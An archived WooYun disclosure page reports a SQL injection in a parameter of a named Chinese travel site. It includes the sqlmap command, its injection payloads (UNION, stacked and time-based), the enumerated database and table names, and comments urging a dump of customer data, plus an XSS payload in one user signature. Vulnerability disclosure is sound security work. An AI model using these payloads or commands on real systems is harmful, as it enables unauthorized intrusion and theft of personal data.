当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046553

漏洞标题:同程旅游网主站SQL注入漏洞#1

相关厂商:苏州同程旅游网络科技有限公司

漏洞作者: 秋风

提交时间:2013-12-20 16:14

修复时间:2014-02-03 16:14

公开时间:2014-02-03 16:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-20: 细节已通知厂商并且等待厂商处理中
2013-12-23: 厂商已经确认,细节仅向厂商公开
2014-01-02: 细节向核心白帽子及相关领域专家公开
2014-01-12: 细节向普通白帽子公开
2014-01-22: 细节向实习白帽子公开
2014-02-03: 细节向公众公开

简要描述:

好多裤,好多表,好多好多数据。。。。

详细说明:

注入点:http://www.17u.cn/dujia/AjaxCallNew.aspx?lineId=40202&MId=113&type=GetPrintContent


get参数MId存在注入
通知存在注入点,未做进一步测试!

python sqlmap.py -u "www.17u.cn/dujia/AjaxCallNew.aspx?lineId=40202&MId=113&type=GetPrintContent" --batch -p "MId" --dbs --count -D TCHotel
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: MId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lineId=40202&MId=113 AND 2988=2988&type=GetPrintContent
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: lineId=40202&MId=-4973 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(97)+CHAR(118)+CHAR(98)+CHAR(113)+CHAR(113)+CHAR(72)+CHAR(122)+CHAR(101)+CHAR(84)+CHAR(99)+CHAR(90)+CHAR(73)+CHAR(78)+CHAR(79)+CHAR(113)+CHAR(102)+CHAR(120)+CHAR(102)+CHAR(113)-- &type=GetPrintContent
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: lineId=40202&MId=113; WAITFOR DELAY '0:0:5'--&type=GetPrintContent
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: lineId=40202&MId=113 WAITFOR DELAY '0:0:5'--&type=GetPrintContent
---
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
available databases [20]:
[*] 17u_net
[*] IpData
[*] master
[*] model
[*] msdb
[*] TCB2cBlog
[*] TCB2cWenDa
[*] TCCar
[*] TCCLineOrder
[*] TCCLineResource
[*] TCCLineWeb
[*] TCEbook
[*] TCFlyPageMonitorDB
[*] TCFlyUtility
[*] TCHolidayCrawl
[*] TCHotel
[*] TCHotelResource
[*] TCMapBarDataClass
[*] TCShare
[*] tempdb
Database: TCHotel
+--------------------------------------+---------+
| Table | Entries |
+--------------------------------------+---------+
| dbo.HotelSMSHistory | 11009644 |
| dbo.HotelMemberLevel | 5775504 |
| dbo.HotelSystemDealLog | 3995100 |
| dbo.HotelGroupbuyOrderLog | 2210128 |
| dbo.HotelFeedBackExtend | 2175113 |
| dbo.HotelFeedBackExtend | 2175113 |
| dbo.HotelInfoRoomState | 2029805 |
| dbo.MemberFirstCall | 1901584 |
| dbo.HotelSystemMonitorLog | 1722171 |
| dbo.HotelGroupbuyTickets | 1129813 |
| dbo.HotelDianpingDealLog | 1104526 |
| dbo.HotelOrderExChangeLogExtend | 1081474 |
| dbo.EHotelEBookingInfoRemind | 930794 |
| dbo.HotelRoomTypeDanBaoInfo | 820389 |
| dbo.HotelPicLabelRelation | 736767 |
| dbo.HotelMissCall_AWY | 599958 |
| dbo.HotelMissCall_AWY | 599958 |
| dbo.HotelVerifyAccountLog | 308187 |
| dbo.HolidayHotelRealStatus | 234056 |
| dbo.HotelEBookingSupplierRelation | 62016 |
| dbo.HotelScenery | 59268 |
| dbo.HotelBusinessRelation | 56379 |
| dbo.HotelBookDealScheduling | 47921 |
| dbo.HoteleBookingUser | 41579 |
| dbo.HotelRefund | 38366 |
| dbo.HoteleBookingManageRelation | 37635 |
| dbo.HotelHotSpotHotelRelation | 36445 |
| dbo.HotelHotSpotHotelRelation | 36445 |
| dbo.HotelControlFeedBack | 31784 |
| dbo.ctripHotel | 14592 |
| dbo.IdGenerator | 13567 |
| dbo.HolidayHotelAttrRelation | 11495 |
| dbo.HotelHotScenicRelation | 11134 |
| dbo.HotelFaxSendStation | 10617 |
| dbo.HotelHotSpotLabelRelation | 8987 |
| dbo.HotelLinkManLog | 7162 |
| dbo.HotelLinkManLog | 7162 |
| dbo.HotelSpecialTypeRelation | 6417 |
| dbo.HolidayHotelPolicyRelation | 5426 |
| dbo.HotelCRMSysUser | 4106 |
| dbo.BusinessSection | 4078 |
| dbo.HotelTuiJian | 3651 |
| dbo.MemberHotelRecommend | 2154 |
| dbo.HotelHotPosition | 1842 |
| dbo.HotelCityChain | 1635 |
| dbo.HotelPublicTagRelation | 1578 |
| dbo.SubwayInfo | 1417 |
| dbo.DataDictionary | 980 |
| dbo.HotelCheckCityInfo | 921 |
| dbo.HotelNoShowType | 889 |
| dbo.HotelHotScenic | 720 |
| dbo.HotelInferior | 678 |
| dbo.EHotelEbookingGuestBook | 613 |
| dbo.HotelCRMFunction | 452 |
| dbo.HotelCRMDEP | 220 |
| dbo.HolidayHotelCityKeyword | 172 |
| dbo.HotelOrderDataDictionary | 157 |
| dbo.HotelCityPriceRange | 156 |
| dbo.HotelDeptProvinceModel | 132 |
| dbo.EHotelEbookingNotice | 112 |
| dbo.Sys_Parameter | 109 |
| dbo.HotelFaxWithOutRelation | 104 |
| dbo.HotelBookDealClasses | 97 |
| dbo.HotelOrderCancelReasonDictionary | 78 |
| dbo.HotelFeaturesPermissions | 77 |
| dbo.HotelCityFacility | 53 |
| dbo.HotelAdsSet | 52 |
| dbo.HotelSubtractPointDeal | 48 |
| dbo.HotelFeedBackReasonDictionary | 47 |
| dbo.HotelBookDealWorkType | 31 |
| dbo.HotelSpecialLabel | 26 |
| dbo.EHotelEbookingRight | 25 |
| dbo.HotelTemplate | 24 |
| dbo.HotelFaxTemplate | 17 |
| dbo.HotelPageInfoControl | 4 |
| dbo.HotelSpecialLabelRelation | 2 |
+--------------------------------------+---------+

漏洞证明:

_771.png


_772.png

修复方案:

过滤

版权声明:转载请注明来源 秋风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-12-23 08:08

厂商回复:

正在处理中,感谢 @秋风

最新状态:

暂无


漏洞评价:

评论

  1. 2013-12-20 16:22 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫,是《红楼梦》原创的词汇,但后来演变...)

    收购wb,比例1:6

  2. 2013-12-20 19:18 | g00 ( 路人 | Rank:0 漏洞数:1 | 终于进来了~)

    楼主,先脱裤啊~~~~~拖完了找我下~

  3. 2013-12-20 19:55 | lpcdma ( 路人 | Rank:12 漏洞数:6 | 人类)

    裤子里有几百万吧。

  4. 2013-12-20 23:01 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    洞主你好给力啊

  5. 2013-12-20 23:41 | Master ( 路人 | Rank:29 漏洞数:10 )

    @g00 你拿到手给我一份就ok